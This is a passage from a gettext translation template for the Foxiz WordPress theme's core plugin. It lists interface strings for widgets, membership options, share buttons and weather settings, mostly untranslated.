"" #: elementor/plan.php:26 msgid "Foxiz - Plan Subscription" msgstr "" #: elementor/plan.php:60 msgid "Input a description for this plan." msgstr "" #: elementor/plan.php:69 msgid "Price" msgstr "" #: elementor/plan.php:71 msgid "Input a price for this plan." msgstr "" #: elementor/plan.php:78 msgid "Price Unit" msgstr "" #: elementor/plan.php:80 msgid "Input a price unit for this plan." msgstr "" #: elementor/plan.php:87 msgid "Price Tenure" msgstr "" #: elementor/plan.php:89 msgid "Input a price tenure for this plan." msgstr "" #: elementor/plan.php:97 msgid "Plan Feature" msgstr "" #: elementor/plan.php:98 msgid "Input a feature for this plan." msgstr "" #: elementor/plan.php:107 msgid "Plan Features" msgstr "" #: elementor/plan.php:117 msgid "Membership Payment Button Shortcode" msgstr "" #: elementor/plan.php:118 msgid "" "Input a payment button shortcode. Use button text if you would like to " "custom label. for example [swpm_payment_button id=1 button_text=\"Buy Now\"]" msgstr "" #: elementor/plan.php:129 msgid "or Free Button" msgstr "" #: elementor/plan.php:130 msgid "" "Input a free button label to navigate to the user to the register page. " "Leave blank the payment shortcode filed to use this setting." msgstr "" #: elementor/plan.php:141 elementor/plan.php:148 msgid "Box Style" msgstr "" #: elementor/plan.php:150 msgid "Select a style for for this plan box." msgstr "" #: elementor/plan.php:162 msgid "Box Style Color" msgstr "" #: elementor/plan.php:164 msgid "Select a color for your box style." msgstr "" #: elementor/plan.php:172 msgid "Dark - Box Style Color" msgstr "" #: elementor/plan.php:174 msgid "Select a color for this plan box in the dark mode." msgstr "" #: elementor/plan.php:185 elementor/plan.php:206 msgid "Select a background color for the payment button." msgstr "" #: elementor/plan.php:193 msgid "Dark - Button Background" msgstr "" #: elementor/plan.php:195 elementor/plan.php:216 msgid "Select a background color for the payment button in the dark mode." msgstr "" #: elementor/plan.php:204 msgid "Button Color" msgstr "" #: elementor/plan.php:214 msgid "Dark - Button Color" msgstr "" #: elementor/plan.php:231 msgid "Heading Font Size" msgstr "" #: elementor/plan.php:233 msgid "Input a custom font size (in px) for the plan heading." msgstr "" #: elementor/plan.php:255 msgid "Feature List Font Size" msgstr "" #: elementor/plan.php:267 msgid "Button Font Size" msgstr "" #: elementor/plan.php:269 msgid "Input a custom font size (in px) for the payment button." msgstr "" #: elementor/plan.php:288 msgid "Input a custom spacing value(px) between element." msgstr "" #: elementor/plan.php:357 msgid "Plan Features Font" msgstr "" #: elementor/quick-links.php:27 msgid "Foxiz - Quick Links" msgstr "" #: elementor/quick-links.php:56 msgid "Quick Links" msgstr "" #: elementor/quick-links.php:62 msgid "Layout" msgstr "" #: elementor/quick-links.php:75 msgid "Quick Link Title" msgstr "" #: elementor/quick-links.php:77 msgid "Input a quick link title." msgstr "" #: elementor/quick-links.php:84 msgid "Quick Link URL" msgstr "" #: elementor/quick-links.php:92 msgid "Add Quick Link" msgstr "" #: elementor/quick-links.php:98 msgid "Quick Link #1" msgstr "" #: elementor/quick-links.php:156 msgid "Header Label Font" msgstr "" #: elementor/quick-links.php:164 msgid "Quick link Item Font" msgstr "" #: elementor/search-icon.php:25 msgid "Foxiz - Header Search Icon" msgstr "" #: elementor/search-icon.php:49 msgid "Live Search Result" msgstr "" #: elementor/search-icon.php:51 msgid "Enable live search result when typing." msgstr "" #: elementor/search-icon.php:71 msgid "Select a custom font size for the search icon." msgstr "" #: elementor/search-icon.php:83 msgid "Select a custom height value for the search icon." msgstr "" #: elementor/search-icon.php:93 msgid "Custom Search SVG" msgstr "" #: elementor/search-icon.php:95 msgid "" "Override default search icon with a SVG icon. Ensure the setting \"Dashboard " "> Elementor > Settings > Enable Unfiltered File Uploads\" is enabled." msgstr "" #: elementor/search-icon.php:131 msgid "Select a color for the search icon." msgstr "" #: elementor/search-icon.php:141 msgid "Select a color for the search icon in the dark mode." msgstr "" #: elementor/search-icon.php:149 msgid "Popup Form Settings" msgstr "" #: elementor/search-icon.php:156 msgid "Popup Right Position" msgstr "" #: elementor/search-icon.php:158 msgid "" "input a right relative position for the popup search form, for example: -200" msgstr "" #: elementor/search-icon.php:166 msgid "Select a background color (color stop: 0%) for the popup search form." msgstr "" #: elementor/search-icon.php:176 msgid "Select a background color (color stop: 100%) for the popup search form." msgstr "" #: elementor/search-icon.php:184 msgid "" "Select a background color (color stop: 0%) for the popup search form in the " "dark mode." msgstr "" #: elementor/search-icon.php:194 msgid "" "Select a background color (color stop: 100%) for the popup search form in " "the dark mode." msgstr "" #: elementor/section.php:13 msgid "Foxiz - Dark Mode Background" msgstr "" #: elementor/section.php:19 msgid "Dark Mode Background" msgstr "" #: elementor/section.php:35 msgid "Foxiz - for Header Template" msgstr "" #: elementor/section.php:44 msgid "The settings below are used for the header template." msgstr "" #: elementor/section.php:51 msgid "Sticky Header" msgstr "" #: elementor/section.php:53 msgid "Enable or disable the sticky for this section." msgstr "" #: elementor/section.php:64 msgid "Smart Sticky" msgstr "" #: elementor/section.php:66 msgid "Only stick the main menu when scrolling up." msgstr "" #: elementor/section.php:75 msgid "Single Headline Sticky" msgstr "" #: elementor/section.php:77 msgid "" "Enable or disable the sticky for the single post headline. The single " "headline will replace on the main navigation." msgstr "" #: elementor/section.php:89 msgid "Header Sticky Background." msgstr "" #: elementor/section.php:96 elementor/section.php:112 msgid "Sticky Background" msgstr "" #: elementor/section.php:105 msgid "Dark Mode - Header Sticky Background." msgstr "" #: elementor/social-follower.php:26 msgid "Foxiz - Social Follower" msgstr "" #: elementor/social-follower.php:43 widgets/sb-social-icon.php:118 msgid "Social Settings" msgstr "" #: elementor/social-follower.php:50 widgets/sb-follower.php:102 msgid "FanPage Name" msgstr "" #: elementor/social-follower.php:59 widgets/sb-follower.php:109 msgid "Facebook Likes Value" msgstr "" #: elementor/social-follower.php:68 widgets/sb-follower.php:122 msgid "Twitter Name" msgstr "" #: elementor/social-follower.php:77 widgets/sb-follower.php:129 msgid "Twitter Followers Value" msgstr "" #: elementor/social-follower.php:86 widgets/sb-follower.php:142 msgid "Pinterest Name" msgstr "" #: elementor/social-follower.php:95 widgets/sb-follower.php:149 msgid "Pinterest Followers Value" msgstr "" #: elementor/social-follower.php:104 widgets/sb-follower.php:162 msgid "Instagram Name" msgstr "" #: elementor/social-follower.php:113 widgets/sb-follower.php:169 msgid "Instagram Followers Value" msgstr "" #: elementor/social-follower.php:122 widgets/sb-follower.php:182 msgid "Youtube Channel or User URL" msgstr "" #: elementor/social-follower.php:131 widgets/sb-follower.php:189 msgid "Youtube Subscribers Value" msgstr "" #: elementor/social-follower.php:140 widgets/sb-follower.php:202 msgid "Soundcloud User Name" msgstr "" #: elementor/social-follower.php:149 widgets/sb-follower.php:209 msgid "SoundCloud Followers Value" msgstr "" #: elementor/social-follower.php:158 widgets/sb-follower.php:222 msgid "Telegram Channel or Invite URL" msgstr "" #: elementor/social-follower.php:167 widgets/sb-follower.php:229 msgid "Telegram Members Value" msgstr "" #: elementor/social-follower.php:176 widgets/sb-follower.php:242 msgid "Vimeo User Name" msgstr "" #: elementor/social-follower.php:185 widgets/sb-follower.php:249 msgid "Vimeo Followers Value" msgstr "" #: elementor/social-follower.php:194 widgets/sb-follower.php:262 msgid "Dribbble User Name" msgstr "" #: elementor/social-follower.php:203 widgets/sb-follower.php:269 msgid "Dribbble Followers Value" msgstr "" #: elementor/social-follower.php:213 msgid "Widget Style" msgstr "" #: elementor/social-follower.php:220 widgets/fw-instagram.php:67 #: widgets/fw-instagram.php:86 widgets/fw-mc.php:71 widgets/sb-flickr.php:83 #: widgets/sb-follower.php:72 widgets/sb-instagram.php:72 msgid "Style" msgstr "" #: elementor/social-follower.php:222 msgid "Select a style for this widget." msgstr "" #: elementor/social-follower.php:224 widgets/sb-follower.php:74 msgid "Style 1" msgstr "" #: elementor/social-follower.php:225 widgets/sb-follower.php:75 msgid "Style 2" msgstr "" #: elementor/social-follower.php:226 widgets/sb-follower.php:76 msgid "Style 3" msgstr "" #: elementor/social-follower.php:227 widgets/sb-follower.php:77 msgid "Style 4" msgstr "" #: elementor/social-follower.php:228 widgets/sb-follower.php:78 msgid "Style 5" msgstr "" #: elementor/social-follower.php:229 widgets/sb-follower.php:79 msgid "Style 6" msgstr "" #: elementor/social-follower.php:230 widgets/sb-follower.php:80 msgid "Style 7" msgstr "" #: elementor/social-follower.php:231 widgets/sb-follower.php:81 msgid "Style 8" msgstr "" #: elementor/social-follower.php:232 widgets/sb-follower.php:82 msgid "Style 9" msgstr "" #: elementor/social-follower.php:233 widgets/sb-follower.php:83 msgid "Style 10" msgstr "" #: elementor/social-follower.php:234 widgets/sb-follower.php:84 msgid "Style 11" msgstr "" #: elementor/social-follower.php:235 widgets/sb-follower.php:85 msgid "Style 12" msgstr "" #: elementor/social-follower.php:236 widgets/sb-follower.php:86 msgid "Style 13" msgstr "" #: elementor/social-follower.php:237 widgets/sb-follower.php:87 msgid "Style 14" msgstr "" #: elementor/social-follower.php:238 widgets/sb-follower.php:88 msgid "Style 15" msgstr "" #: elementor/social-follower.php:247 msgid "Input custom font size for this widget." msgstr "" #: elementor/social-follower.php:298 msgid "Total Fans Text Font" msgstr "" #: elementor/social-follower.php:322 msgid "Custom Columns" msgstr "" #: elementor/social-follower.php:331 msgid "Columns" msgstr "" #: elementor/social-follower.php:333 msgid "Select number of columns for the social counter layout." msgstr "" #: elementor/social-follower.php:342 msgid "8 Columns" msgstr "" #: elementor/social-follower.php:343 msgid "9 Columns" msgstr "" #: elementor/social-list.php:25 msgid "Foxiz - Header Social List" msgstr "" #: elementor/social-list.php:50 msgid "" "This block will get information from Theme Options > Social Profiles to show." msgstr "" #: elementor/social-list.php:68 msgid "Select a custom font size for the social icons." msgstr "" #: elementor/social-list.php:77 msgid "Select a custom height value for the social icons." msgstr "" #: elementor/social-list.php:85 msgid "Input a custom spacing between social list item (in px). Default is 5." msgstr "" #: elementor/social-list.php:122 msgid "Select a color for the social icons." msgstr "" #: elementor/social-list.php:132 msgid "Select a color for the social icons in the dark mode." msgstr "" #: elementor/templates.php:28 msgid "Main Menu" msgstr "" #: elementor/templates.php:34 msgid "main menu" msgstr "" #: elementor/videos.php:28 msgid "Foxiz - Youtube Videos" msgstr "" #: elementor/videos.php:45 msgid "Videos Settings" msgstr "" #: elementor/videos.php:54 msgid "" "Note: Due to play/stop API control button so this block only supports " "Youtube videos." msgstr "" #: elementor/videos.php:63 msgid "Youtube Video URL" msgstr "" #: elementor/videos.php:65 msgid "Input video url..." msgstr "" #: elementor/videos.php:72 msgid "Video Title" msgstr "" #: elementor/videos.php:74 msgid "Input video title..." msgstr "" #: elementor/videos.php:81 msgid "Meta/Channel Name" msgstr "" #: elementor/videos.php:89 msgid "Custom Thumbnail (Optional)" msgstr "" #: elementor/videos.php:99 msgid "Add Videos" msgstr "" #: elementor/videos.php:105 msgid "Video Title #1" msgstr "" #: elementor/videos.php:122 msgid "Playlist Title Font Size" msgstr "" #: elementor/videos.php:131 msgid "Playing Title Font Size" msgstr "" #: elementor/videos.php:133 msgid "" "Input custom font size values (px) for the playing title for displaying in " "this block." msgstr "" #: elementor/videos.php:156 msgid "Playlist Title" msgstr "" #: elementor/videos.php:164 msgid "Playing Title Font" msgstr "" #: elementor/weather.php:26 msgid "Foxiz - Weather" msgstr "" #: elementor/weather.php:54 msgid "Input your title." msgstr "" #: elementor/weather.php:55 msgid "Weather" msgstr "" #: elementor/weather.php:62 msgid "Units:" msgstr "" #: elementor/weather.php:65 widgets/sb-weather.php:58 msgid "°C" msgstr "" #: elementor/weather.php:66 widgets/sb-weather.php:59 msgid "°F" msgstr "" #: elementor/weather.php:75 msgid "Location:" msgstr "" #: elementor/weather.php:78 widgets/sb-weather.php:75 msgid "Find your location" msgstr "" #: elementor/weather.php:78 msgid "(i.e: London, GB)" msgstr "" #: elementor/weather.php:79 msgid "London" msgstr "" #: elementor/weather.php:86 msgid "Weather API Key:" msgstr "" #: elementor/weather.php:89 msgid "How to get API key" msgstr "" #: elementor/weather.php:97 msgid "Forecast:" msgstr "" #: elementor/weather.php:100 widgets/sb-weather.php:91 msgid "1 day" msgstr "" #: elementor/weather.php:101 widgets/sb-weather.php:92 msgid "2 days" msgstr "" #: elementor/weather.php:102 widgets/sb-weather.php:93 msgid "3 days" msgstr "" #: elementor/weather.php:103 widgets/sb-weather.php:94 msgid "4 days" msgstr "" #: elementor/weather.php:104 widgets/sb-weather.php:95 msgid "5 days" msgstr "" #: elementor/weather.php:105 widgets/sb-weather.php:96 msgid "Do not display" msgstr "" #: elementor/weather.php:157 msgid "Location Font" msgstr "" #: elementor/weather.php:165 msgid "Current Temperature Font" msgstr "" #: foxiz-core.php:165 msgid "Job Name" msgstr "" #: foxiz-core.php:166 msgid "Facebook profile URL" msgstr "" #: foxiz-core.php:167 msgid "Twitter profile URL" msgstr "" #: foxiz-core.php:168 msgid "Instagram profile URL" msgstr "" #: foxiz-core.php:169 msgid "Pinterest profile URL" msgstr "" #: foxiz-core.php:170 msgid "LinkedIn profile URL" msgstr "" #: foxiz-core.php:171 msgid "Tumblr profile URL" msgstr "" #: foxiz-core.php:172 msgid "Flickr profile URL" msgstr "" #: foxiz-core.php:173 msgid "Skype profile URL" msgstr "" #: foxiz-core.php:174 msgid "Snapchat profile URL" msgstr "" #: foxiz-core.php:175 msgid "Myspace profile URL" msgstr "" #: foxiz-core.php:176 msgid "Youtube profile URL" msgstr "" #: foxiz-core.php:177 msgid "Bloglovin profile URL" msgstr "" #: foxiz-core.php:178 msgid "Digg profile URL" msgstr "" #: foxiz-core.php:179 msgid "Dribbble profile URL" msgstr "" #: foxiz-core.php:180 msgid "Soundcloud profile URL" msgstr "" #: foxiz-core.php:181 msgid "Vimeo profile URL" msgstr "" #: foxiz-core.php:182 msgid "Reddit profile URL" msgstr "" #: foxiz-core.php:183 msgid "Vkontakte profile URL" msgstr "" #: foxiz-core.php:184 msgid "Telegram profile URL" msgstr "" #: foxiz-core.php:185 msgid "Whatsapp profile URL" msgstr "" #: foxiz-core.php:186 msgid "Rss" msgstr "" #: includes/actions.php:184 msgid "Your Rating" msgstr "" #: includes/ads.php:181 includes/ads.php:184 msgid "Ad image" msgstr "" #: includes/amp.php:120 includes/amp.php:131 msgid "Foxiz supported and activated AMP in the Transitional mode." msgstr "" #: includes/extras.php:114 msgid "Confirmed" msgstr "" #: includes/extras.php:115 msgid "Death" msgstr "" #: includes/helpers.php:111 msgid "M" msgstr "" #: includes/helpers.php:113 msgid "k" msgstr "" #: includes/helpers.php:484 msgid "- Select a Template -" msgstr "" #: includes/shares.php:44 includes/widget.php:432 msgid "Facebook" msgstr "" #: includes/shares.php:49 includes/widget.php:451 msgid "Twitter" msgstr "" #: includes/shares.php:59 includes/widget.php:470 msgid "Pinterest" msgstr "" #: includes/shares.php:63 includes/shares.php:64 msgid "Whatsapp" msgstr "" #: includes/shares.php:68 msgid "LinkedIn" msgstr "" #: includes/shares.php:72 msgid "Tumblr" msgstr "" #: includes/shares.php:76 msgid "Reddit" msgstr "" #: includes/shares.php:80 msgid "VKontakte" msgstr "" #: includes/shares.php:84 includes/widget.php:546 msgid "Telegram" msgstr "" #: includes/shares.php:88 #, php-format msgid "" "I found this article interesting and thought of sharing it with you. Check " "it out: %s" msgstr "" #: includes/shares.php:89 msgid "Email" msgstr "" #: includes/shares.php:92 msgid "Copied!" msgstr "" #: includes/shares.php:92 msgid "Copy Link" msgstr "" #: includes/shares.php:95 msgid "Print" msgstr "" #: includes/shortcodes.php:79 msgid "You Might Also Like" msgstr "Você pode gostar também" #: includes/widget.php:20 msgid "C" msgstr "" #: includes/widget.php:20 msgid "F" msgstr "" #: includes/widget.php:141 msgid "km/h" msgstr "" #: includes/widget.php:141 msgid "mph" msgstr "" #: includes/widget.php:151 msgid "%" msgstr "" #: includes/widget.php:343 msgid "No weather information available. Please check your location here: " msgstr "" #: includes/widget.php:344 msgid "Find location" msgstr "" #: includes/widget.php:428 includes/widget.php:447 includes/widget.php:466 #: includes/widget.php:485 includes/widget.php:523 includes/widget.php:561 #: includes/widget.php:580 widgets/sb-tweet.php:141 msgid "Followers" msgstr "" #: includes/widget.php:430 includes/widget.php:433 msgid "Like" msgstr "" #: includes/widget.php:449 includes/widget.php:452 includes/widget.php:487 #: includes/widget.php:490 includes/widget.php:525 includes/widget.php:528 #: includes/widget.php:544 includes/widget.php:547 includes/widget.php:563 #: includes/widget.php:566 includes/widget.php:582 includes/widget.php:585 msgid "Follow" msgstr "" #: includes/widget.php:468 includes/widget.php:471 msgid "Pin" msgstr "" #: includes/widget.php:489 msgid "Instagram" msgstr "" #: includes/widget.php:504 msgid "Subscribers" msgstr "" #: includes/widget.php:506 includes/widget.php:509 msgid "Subscribe" msgstr "" #: includes/widget.php:508 msgid "Youtube" msgstr "" #: includes/widget.php:527 msgid "SoundCloud" msgstr "" #: includes/widget.php:542 msgid "Members" msgstr "" #: includes/widget.php:565 msgid "Vimeo" msgstr "" #: includes/widget.php:584 msgid "Dribbble" msgstr "" #: includes/widget.php:618 includes/widget.php:619 includes/widget.php:621 #: includes/widget.php:629 includes/widget.php:635 includes/widget.php:642 msgid "banner" msgstr "" #: membership/options.php:15 membership/options.php:37 msgid "Membership" msgstr "" #: membership/options.php:16 msgid "Select options for the membership plugin." msgstr "" #: membership/options.php:22 msgid "Simple WordPress Membership Plugin is missing!" msgstr "" #: membership/options.php:29 msgid "" "Please install " "Simple WordPress Membership plugin to enable the theme features." msgstr "" #: membership/options.php:38 msgid "Select options for Simple WordPress Membership plugin." msgstr "" #: membership/options.php:45 msgid "Content Restrict for New Users" msgstr "" #: membership/options.php:51 msgid "Restrict Content Title" msgstr "" #: membership/options.php:52 msgid "Input your restrict content title, allow raw HTML." msgstr "" #: membership/options.php:58 msgid "Restrict Content Description" msgstr "" #: membership/options.php:59 msgid "Input your restrict content description, allow raw HTML." msgstr "" #: membership/options.php:65 msgid "Join US Button Label" msgstr "" #: membership/options.php:66 msgid "Input a join us button label." msgstr "" #: membership/options.php:67 msgid "Get Digital All Access" msgstr "" #: membership/options.php:72 msgid "Login Description" msgstr "" #: membership/options.php:73 msgid "Input your login description." msgstr "" #: membership/options.php:74 msgid "Already a subscriber?" msgstr "" #: membership/options.php:79 msgid "Login Button Label" msgstr "" #: membership/options.php:80 msgid "Input the login button label." msgstr "" #: membership/options.php:81 msgid "Sign In" msgstr "" #: membership/options.php:93 msgid "Content Restrict for Logged Users" msgstr "" #: membership/options.php:99 msgid "Upgrade Membership Title" msgstr "" #: membership/options.php:100 msgid "Input your upgrade membership level title, allow raw HTML." msgstr "" #: membership/options.php:106 msgid "Upgrade Membership Description" msgstr "" #: membership/options.php:107 msgid "Input your upgrade membership level description, allow raw HTML." msgstr "" #: membership/options.php:120 msgid "Content Restrict for Expired Users" msgstr "" #: membership/options.php:126 msgid "Renewal Membership Title" msgstr "" #: membership/options.php:127 msgid "Input your renewal membership title, allow raw HTML." msgstr "" #: membership/options.php:133 msgid "Renewal Membership Description" msgstr "" #: membership/options.php:134 msgid "Input your renewal membership description, allow raw HTML." msgstr "" #: membership/options.php:140 msgid "Renewal Button Label" msgstr "" #: membership/options.php:141 msgid "Input a renewal button label." msgstr "" #: membership/options.php:142 msgid "Renewal Your MemberShip" msgstr "" #: membership/options.php:155 msgid "Exclusive Label" msgstr "" #: membership/options.php:161 msgid "Member Only Label" msgstr "" #: membership/options.php:162 msgid "Input a Label for displaying before the post title listing." msgstr "" #: membership/options.php:163 msgid "Leave blank to disable the label." msgstr "" #: membership/options.php:169 msgid "Label Style" msgstr "" #: membership/options.php:170 msgid "Select a style for the member only label." msgstr "" #: membership/options.php:172 msgid "Background Color" msgstr "" #: reaction/reaction.php:79 msgid "Love" msgstr "" #: reaction/reaction.php:84 msgid "Sad" msgstr "" #: reaction/reaction.php:89 msgid "Happy" msgstr "" #: reaction/reaction.php:94 msgid "Sleepy" msgstr "" #: reaction/reaction.php:99 msgid "Angry" msgstr "" #: reaction/reaction.php:104 msgid "Dead" msgstr "" #: reaction/reaction.php:109 msgid "Wink" msgstr "" #: reaction/reaction.php:114 msgid "Cry" msgstr "" #: reaction/reaction.php:119 msgid "Embarrass" msgstr "" #: reaction/reaction.php:124 msgid "Joy" msgstr "" #: reaction/reaction.php:129 msgid "Shy" msgstr "" #: reaction/reaction.php:134 msgid "Surprise" msgstr "" #: widgets/banner.php:24 msgid "Foxiz - Widget Banner" msgstr "" #: widgets/banner.php:26 msgid "" "[Sidebar Widget] Display banner with text and background image in the " "sidebars." msgstr "" #: widgets/banner.php:82 msgid "Text Select a text color scheme for this block." msgstr "" #: widgets/banner.php:85 widgets/fw-mc.php:74 msgid "Dark Text" msgstr "" #: widgets/fw-instagram.php:15 msgid "Follow @ Instagram
Our Profile
" msgstr "" #: widgets/fw-instagram.php:25 msgid "Foxiz - Fw Instagram" msgstr "" #: widgets/fw-instagram.php:27 msgid "" "[Full Width Widget] Display a grid of instagram images in the full width " "sections." msgstr "" #: widgets/fw-instagram.php:52 msgid "Header Intro (raw HTML allowed)" msgstr "" #: widgets/fw-instagram.php:59 msgid "Instagram Token" msgstr "" #: widgets/fw-instagram.php:60 widgets/sb-instagram.php:58 msgid "" "Refer to this Documentation to create an " "Instagram token" msgstr "" #: widgets/fw-instagram.php:69 msgid "Wrapper Masonry" msgstr "" #: widgets/fw-instagram.php:70 msgid "Wide Masonry" msgstr "" #: widgets/fw-instagram.php:71 msgid "Default Grid" msgstr "" #: widgets/fw-instagram.php:78 msgid "Total Images (Default Grid)" msgstr "" #: widgets/fw-instagram.php:79 msgid "This setting will only apply to the default grid layout." msgstr "" #: widgets/fw-instagram.php:88 msgid "5 columns" msgstr "" #: widgets/fw-instagram.php:89 msgid "6 columns" msgstr "" #: widgets/fw-instagram.php:90 msgid "7 columns" msgstr "" #: widgets/fw-instagram.php:91 msgid "8 columns" msgstr "" #: widgets/fw-instagram.php:92 msgid "9 columns" msgstr "" #: widgets/fw-instagram.php:134 widgets/sb-instagram.php:108 msgid "Instagram Error: " msgstr "" #: widgets/fw-instagram.php:201 widgets/sb-instagram.php:175 msgid "Instagram token not found" msgstr "" #: widgets/fw-instagram.php:227 widgets/sb-instagram.php:201 msgid "Could not connect to Instagram API server." msgstr "" #: widgets/fw-instagram.php:237 widgets/sb-instagram.php:211 msgid "instagram image" msgstr "" #: widgets/fw-instagram.php:274 msgid "" "Incorrect token or has been expired, Please create a new token and try again!" msgstr "" #: widgets/fw-mc.php:23 msgid "Foxiz - FW Newsletter" msgstr "" #: widgets/fw-mc.php:25 msgid "" "[Full Width Widget] Display a Mailchimp sign-up form in the full width " "sections." msgstr "" #: widgets/fw-mc.php:64 msgid "Mailchimp Form Shortcode" msgstr "" #: widgets/fw-mc.php:82 msgid "Background Color (hex value)" msgstr "" #: widgets/fw-mc.php:90 msgid "Input a background image URL (attachment URL) for this widget." msgstr "" #: widgets/ruby-template.php:19 msgid "Foxiz - Ruby Template" msgstr "" #: widgets/ruby-template.php:21 msgid "Display a ruby template in widget sections." msgstr "" #: widgets/ruby-template.php:47 msgid "Select a Template" msgstr "" #: widgets/ruby-template.php:48 msgid "Select a Ruby template to display in this sidebar section." msgstr "" #: widgets/ruby-template.php:55 msgid "or Shortcode" msgstr "" #: widgets/ruby-template.php:56 msgid "Input a shortcode, this setting will override on the above setting." msgstr "" #: widgets/sb-ad-image.php:21 msgid "Foxiz - Widget Ad Image" msgstr "" #: widgets/sb-ad-image.php:23 msgid "[Sidebar Widget] Display your custom ad image in the sidebars." msgstr "" #: widgets/sb-ad-image.php:55 msgid "Destination URL" msgstr "" #: widgets/sb-ad-image.php:62 msgid "Ad Image URL" msgstr "" #: widgets/sb-ad-image.php:63 msgid "Input your advert image URL (attachment URL) for this widget." msgstr "" #: widgets/sb-ad-image.php:70 msgid "Dark Mode - Ad Image URL" msgstr "" #: widgets/sb-ad-image.php:71 msgid "" "Input your advert image URL (attachment URL) for this widget in the dark " "mode." msgstr "" #: widgets/sb-ad-script.php:23 msgid "Foxiz - Widget Ad Script" msgstr "" #: widgets/sb-ad-script.php:25 msgid "" "Display your Js ad or Google Adsense in the sidebars or full width widget " "areas." msgstr "" #: widgets/sb-ad-script.php:66 msgid "Select a custom size for this ad if you use the adsense ad units code." msgstr "" #: widgets/sb-ad-script.php:78 msgid "Select a size on the desktop devices." msgstr "" #: widgets/sb-ad-script.php:87 msgid "Select a size on the tablet devices." msgstr "" #: widgets/sb-ad-script.php:96 msgid "Select a size on the mobile devices/" msgstr "" #: widgets/sb-address.php:26 msgid "Foxiz - Widget Address" msgstr "" #: widgets/sb-address.php:28 msgid "[Sidebar Widget] Display the address information in the sidebars." msgstr "" #: widgets/sb-address.php:59 msgid "Address Title" msgstr "" #: widgets/sb-address.php:66 msgid "Office Address" msgstr "" #: widgets/sb-address.php:73 msgid "Phone/Tel Label" msgstr "" #: widgets/sb-address.php:80 msgid "Phone Number" msgstr "" #: widgets/sb-address.php:87 msgid "Tel Number" msgstr "" #: widgets/sb-address.php:94 msgid "Email Address" msgstr "" #: widgets/sb-address.php:101 msgid "Additional Label" msgstr "" #: widgets/sb-address.php:108 msgid "Additional Info" msgstr "" #: widgets/sb-facebook.php:19 msgid "Foxiz - Widget Facebook" msgstr "" #: widgets/sb-facebook.php:21 msgid "[Sidebar Widget] Display the Facebook Like box in the sidebars." msgstr "" #: widgets/sb-facebook.php:52 msgid "Fan Page URL" msgstr "" #: widgets/sb-flickr.php:22 msgid "Foxiz - Widget Flickr Grid" msgstr "" #: widgets/sb-flickr.php:24 msgid "[Sidebar Widget] Display a grid of Flickr images in the sidebars." msgstr "" #: widgets/sb-flickr.php:55 msgid "Flickr Settings" msgstr "" #: widgets/sb-flickr.php:61 msgid "Get Flickr Id" msgstr "" #: widgets/sb-flickr.php:62 msgid "Flickr User ID" msgstr "" #: widgets/sb-flickr.php:69 msgid "Total Images" msgstr "" #: widgets/sb-flickr.php:76 msgid "Tags (optional, Separate tags with comma. i.e. tag1,tag2)" msgstr "" #: widgets/sb-flickr.php:85 widgets/sb-instagram.php:74 msgid "2 columns" msgstr "" #: widgets/sb-flickr.php:86 widgets/sb-instagram.php:75 msgid "3 columns" msgstr "" #: widgets/sb-flickr.php:87 widgets/sb-instagram.php:76 msgid "4 columns" msgstr "" #: widgets/sb-flickr.php:103 msgid "Flickr Error: " msgstr "" #: widgets/sb-flickr.php:132 msgid "Flickr use ID not found" msgstr "" #: widgets/sb-follower.php:38 msgid "Foxiz - Widget Social Counter" msgstr "" #: widgets/sb-follower.php:40 msgid "" "[Sidebar Widget] Display your media socials with total of followers in the " "sidebars." msgstr "" #: widgets/sb-follower.php:96 msgid "Facebook Settings" msgstr "" #: widgets/sb-follower.php:116 msgid "Twitter Settings" msgstr "" #: widgets/sb-follower.php:136 msgid "Pinterest Settings" msgstr "" #: widgets/sb-follower.php:156 msgid "Instagram Settings" msgstr "" #: widgets/sb-follower.php:176 widgets/sb-youtube.php:53 msgid "Youtube Settings" msgstr "" #: widgets/sb-follower.php:196 msgid "SoundCloud Settings" msgstr "" #: widgets/sb-follower.php:216 msgid "Telegram Settings" msgstr "" #: widgets/sb-follower.php:236 msgid "Vimeo Settings" msgstr "" #: widgets/sb-follower.php:256 msgid "Dribbble Settings" msgstr "" #: widgets/sb-follower.php:275 msgid "Font Size Settings" msgstr "" #: widgets/sb-follower.php:280 msgid "Widget Font Size" msgstr "" #: widgets/sb-instagram.php:23 msgid "Foxiz - Widget Instagram" msgstr "" #: widgets/sb-instagram.php:25 msgid "[Sidebar Widget] Display a grid of instagram images in the sidebars." msgstr "" #: widgets/sb-instagram.php:57 msgid "Input Instagram Token" msgstr "" #: widgets/sb-instagram.php:65 msgid "Default Grid - Total Images" msgstr "" #: widgets/sb-instagram.php:84 msgid "Footer Description" msgstr "" #: widgets/sb-instagram.php:85 msgid "Input a short description to display at the footer, raw HTML allowed." msgstr "" #: widgets/sb-instagram.php:92 msgid "Footer Link" msgstr "" #: widgets/sb-instagram.php:248 msgid "Token did not work or has expired, Try to create a new token." msgstr "" #: widgets/sb-post.php:30 msgid "Foxiz - Post Listing" msgstr "" #: widgets/sb-post.php:32 msgid "" "[Sidebar Widget] Display a small list latest post listing in the sidebar." msgstr "" #: widgets/sb-post.php:63 msgid "Select a category you would like to show." msgstr "" #: widgets/sb-post.php:119 msgid "Order By" msgstr "" #: widgets/sb-post.php:142 msgid "Posts per Page" msgstr "" #: widgets/sb-social-icon.php:43 msgid "Foxiz - Widget Social Icons/About" msgstr "" #: widgets/sb-social-icon.php:45 msgid "" "[Sidebar Widget] Display about me information and social icons in the " "sidebars." msgstr "" #: widgets/sb-social-icon.php:77 msgid "Short biography (raw HTML allowed)" msgstr "" #: widgets/sb-social-icon.php:84 msgid "Align Content" msgstr "" #: widgets/sb-social-icon.php:95 msgid "Social Profiles Source" msgstr "" #: widgets/sb-social-icon.php:96 msgid "" "To set social profiles from the Theme Options, Navigate to: Theme " "Options -> Social Profiles." msgstr "" #: widgets/sb-social-icon.php:99 msgid "Use Custom" msgstr "" #: widgets/sb-social-icon.php:107 msgid "Open in new tab" msgstr "" #: widgets/sb-social-icon.php:109 msgid "Default" msgstr "" #: widgets/sb-social-icon.php:110 msgid "New Tab" msgstr "" #: widgets/sb-social-icon.php:124 msgid "Facebook URL" msgstr "" #: widgets/sb-social-icon.php:131 msgid "Twitter URL" msgstr "" #: widgets/sb-social-icon.php:138 msgid "Instagram URL" msgstr "" #: widgets/sb-social-icon.php:145 msgid "Pinterest URL" msgstr "" #: widgets/sb-social-icon.php:152 msgid "Linkedin URL" msgstr "" #: widgets/sb-social-icon.php:159 msgid "Tumblr URL" msgstr "" #: widgets/sb-social-icon.php:166 msgid "Flickr URL" msgstr "" #: widgets/sb-social-icon.php:173 msgid "Skype URL" msgstr "" #: 